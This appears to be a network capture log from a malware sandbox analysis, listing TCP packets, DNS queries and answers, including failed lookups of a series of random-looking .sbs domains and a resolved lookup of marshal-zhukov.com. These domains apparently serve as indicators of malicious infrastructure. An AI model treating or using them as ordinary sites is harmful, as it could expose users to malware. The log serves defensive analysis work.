Nov 28, 2024 13:10:56.339176893 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.339318991 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.339330912 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.671133041 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.671854019 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.671878099 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:56.672382116 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:56.672388077 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.126785040 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.130213976 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.130280018 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.130311966 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.130352020 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.130448103 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.130466938 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.130484104 CET	49962	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.130490065 CET	443	49962	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.133747101 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.133794069 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.134104967 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.134104967 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.134136915 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.592863083 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.645863056 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.645900965 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.646363020 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:57.646369934 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.681538105 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:57.738178968 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.190160990 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.208391905 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.211554050 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.215001106 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.245332003 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.278492928 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.278518915 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.279009104 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.279015064 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.295880079 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.295888901 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.296359062 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.296365023 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.296549082 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.296585083 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.296597958 CET	49963	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.296605110 CET	443	49963	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.305870056 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.305897951 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.305965900 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.306154013 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.306168079 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.596501112 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.599728107 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.599771976 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.599786043 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.599834919 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.602701902 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.602715015 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.602725029 CET	49965	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.602729082 CET	443	49965	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.608704090 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.608732939 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.608809948 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.609287024 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.609298944 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.645935059 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.649399996 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.649461031 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.695846081 CET	49966	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.695858002 CET	443	49966	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.736294985 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.736339092 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.736414909 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.736593962 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.736607075 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.851325989 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.851886034 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.851913929 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:58.852390051 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:58.852396965 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.287261009 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.290772915 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.290827990 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.290878057 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.290914059 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.291002035 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.291016102 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.291028023 CET	49967	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.291033030 CET	443	49967	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.294323921 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.294359922 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:10:59.294435978 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.294622898 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:10:59.294639111 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.086536884 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.087229967 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.087264061 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.087779045 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.087785006 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.447580099 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.450473070 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.450495005 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.450980902 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.450985909 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.531260967 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.533755064 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.533891916 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.533973932 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.533998013 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.534013033 CET	49968	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.534020901 CET	443	49968	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.537756920 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.537791967 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.537859917 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.538170099 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.538181067 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.808542967 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.808640957 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.808690071 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.809453011 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.809468985 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.809478045 CET	49959	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.809484959 CET	443	49959	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.812951088 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.812989950 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.813055038 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.813355923 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.813370943 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.892112970 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.895385027 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.895433903 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.895447969 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.895486116 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.896058083 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.896073103 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.896085024 CET	49969	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.896090031 CET	443	49969	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.900286913 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.900314093 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:00.900373936 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.901915073 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:00.901932955 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.146615982 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.147289991 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.147321939 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.147845984 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.147852898 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.599338055 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.602467060 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.602543116 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.602591038 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.602608919 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.602619886 CET	49971	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.602626085 CET	443	49971	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.608050108 CET	49975	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.608078957 CET	443	49975	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:01.610981941 CET	49975	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.614265919 CET	49975	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:01.614279985 CET	443	49975	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.320367098 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.320952892 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.320982933 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.321480036 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.321485996 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.433871031 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.434726954 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.434762955 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.435457945 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.435465097 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.594919920 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.595432043 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.595455885 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.596054077 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.596059084 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.747277975 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.747854948 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.747876883 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.748356104 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.748362064 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.764173031 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.764305115 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.764492989 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.764622927 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.764636993 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.764646053 CET	49972	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.764652014 CET	443	49972	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.767813921 CET	49976	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.767848015 CET	443	49976	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:02.767959118 CET	49976	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.768153906 CET	49976	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:02.768165112 CET	443	49976	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.046708107 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.049813986 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.049856901 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.049877882 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.049900055 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.049973965 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.049987078 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.049998045 CET	49973	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.050003052 CET	443	49973	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.052817106 CET	49977	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.052844048 CET	443	49977	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.053014994 CET	49977	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.053142071 CET	49977	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.053154945 CET	443	49977	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.061752081 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.061851025 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.061970949 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.062000036 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.062011957 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.062021971 CET	49970	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.062026978 CET	443	49970	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.065320015 CET	49978	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.065356016 CET	443	49978	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.065433979 CET	49978	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.065763950 CET	49978	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.065774918 CET	443	49978	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.239149094 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.242414951 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.242897987 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.242990971 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.242990971 CET	49974	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.243000031 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.243009090 CET	443	49974	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.246364117 CET	49979	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.246387959 CET	443	49979	13.107.246.63	192.168.2.4
Nov 28, 2024 13:11:03.247850895 CET	49979	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.248111963 CET	49979	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:11:03.248126030 CET	443	49979	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 13:08:57.447923899 CET	50276	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:57.672308922 CET	53	50276	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:57.681287050 CET	57407	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:57.917118073 CET	53	57407	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:57.920708895 CET	59596	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:58.145348072 CET	53	59596	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:58.148452997 CET	54229	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:58.382344007 CET	53	54229	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:58.385174036 CET	53873	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:58.698250055 CET	53	53873	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:58.699616909 CET	60065	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:59.013825893 CET	53	60065	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:59.018333912 CET	56119	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:59.340784073 CET	53	56119	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:59.343668938 CET	55666	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:59.580667973 CET	53	55666	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:59.582110882 CET	58592	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:08:59.897166967 CET	53	58592	1.1.1.1	192.168.2.4
Nov 28, 2024 13:08:59.911350012 CET	60416	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:09:00.050944090 CET	53	60416	1.1.1.1	192.168.2.4
Nov 28, 2024 13:09:03.112471104 CET	54012	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:09:03.390463114 CET	53	54012	1.1.1.1	192.168.2.4
Nov 28, 2024 13:09:17.791096926 CET	138	138	192.168.2.4	192.168.2.255
Nov 28, 2024 13:10:04.965339899 CET	53	52525	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:05.044756889 CET	53	56564	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:07.882117987 CET	49888	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:07.882391930 CET	52951	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:08.027113914 CET	53	52951	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:08.027770996 CET	53	49888	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:08.078854084 CET	53	63494	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:12.063483953 CET	58293	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:12.063673973 CET	50290	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:15.641640902 CET	63733	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:15.642004967 CET	60560	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:21.442703962 CET	53	55963	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:21.687158108 CET	53615	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:21.688201904 CET	51860	53	192.168.2.4	1.1.1.1
Nov 28, 2024 13:10:25.572062969 CET	53	53724	1.1.1.1	192.168.2.4
Nov 28, 2024 13:10:44.497142076 CET	53	62420	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 28, 2024 13:10:12.479975939 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 13:08:57.447923899 CET	192.168.2.4	1.1.1.1	0x217e	Standard query (0)	hallowed-noisy.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:57.681287050 CET	192.168.2.4	1.1.1.1	0x344e	Standard query (0)	plastic-mitten.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:57.920708895 CET	192.168.2.4	1.1.1.1	0xcc3b	Standard query (0)	looky-marked.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:58.148452997 CET	192.168.2.4	1.1.1.1	0x9a4c	Standard query (0)	wrench-creter.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:58.385174036 CET	192.168.2.4	1.1.1.1	0x19bc	Standard query (0)	slam-whipp.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:58.699616909 CET	192.168.2.4	1.1.1.1	0x709c	Standard query (0)	record-envyp.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.018333912 CET	192.168.2.4	1.1.1.1	0xfb90	Standard query (0)	copper-replace.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.343668938 CET	192.168.2.4	1.1.1.1	0xbfd6	Standard query (0)	savvy-steereo.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.582110882 CET	192.168.2.4	1.1.1.1	0x41ef	Standard query (0)	preside-comforter.sbs	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.911350012 CET	192.168.2.4	1.1.1.1	0xbac1	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:09:03.112471104 CET	192.168.2.4	1.1.1.1	0xf001	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:07.882117987 CET	192.168.2.4	1.1.1.1	0x5b44	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:07.882391930 CET	192.168.2.4	1.1.1.1	0xf149	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 13:10:12.063483953 CET	192.168.2.4	1.1.1.1	0x5a7	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:12.063673973 CET	192.168.2.4	1.1.1.1	0x9bff	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 28, 2024 13:10:15.641640902 CET	192.168.2.4	1.1.1.1	0x762b	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:15.642004967 CET	192.168.2.4	1.1.1.1	0x8366	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 28, 2024 13:10:21.687158108 CET	192.168.2.4	1.1.1.1	0x5cc1	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:21.688201904 CET	192.168.2.4	1.1.1.1	0x4059	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 13:08:57.672308922 CET	1.1.1.1	192.168.2.4	0x217e	Name error (3)	hallowed-noisy.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:57.917118073 CET	1.1.1.1	192.168.2.4	0x344e	Name error (3)	plastic-mitten.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:58.145348072 CET	1.1.1.1	192.168.2.4	0xcc3b	Name error (3)	looky-marked.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:58.382344007 CET	1.1.1.1	192.168.2.4	0x9a4c	Name error (3)	wrench-creter.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:58.698250055 CET	1.1.1.1	192.168.2.4	0x19bc	Name error (3)	slam-whipp.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.013825893 CET	1.1.1.1	192.168.2.4	0x709c	Name error (3)	record-envyp.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.340784073 CET	1.1.1.1	192.168.2.4	0xfb90	Name error (3)	copper-replace.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.580667973 CET	1.1.1.1	192.168.2.4	0xbfd6	Name error (3)	savvy-steereo.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:08:59.897166967 CET	1.1.1.1	192.168.2.4	0x41ef	Name error (3)	preside-comforter.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:09:00.050944090 CET	1.1.1.1	192.168.2.4	0xbac1	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:09:03.390463114 CET	1.1.1.1	192.168.2.4	0xf001	No error (0)	marshal-zhukov.com		104.21.82.174	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:09:03.390463114 CET	1.1.1.1	192.168.2.4	0xf001	No error (0)	marshal-zhukov.com		172.67.160.80	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:08.027113914 CET	1.1.1.1	192.168.2.4	0xf149	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 13:10:08.027770996 CET	1.1.1.1	192.168.2.4	0x5b44	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:10:12.201638937 CET	1.1.1.1	192.168.2.4	0x6beb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 13:10:12.201775074 CET	1.1.1.1	192.168.2.4	0x5d65	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
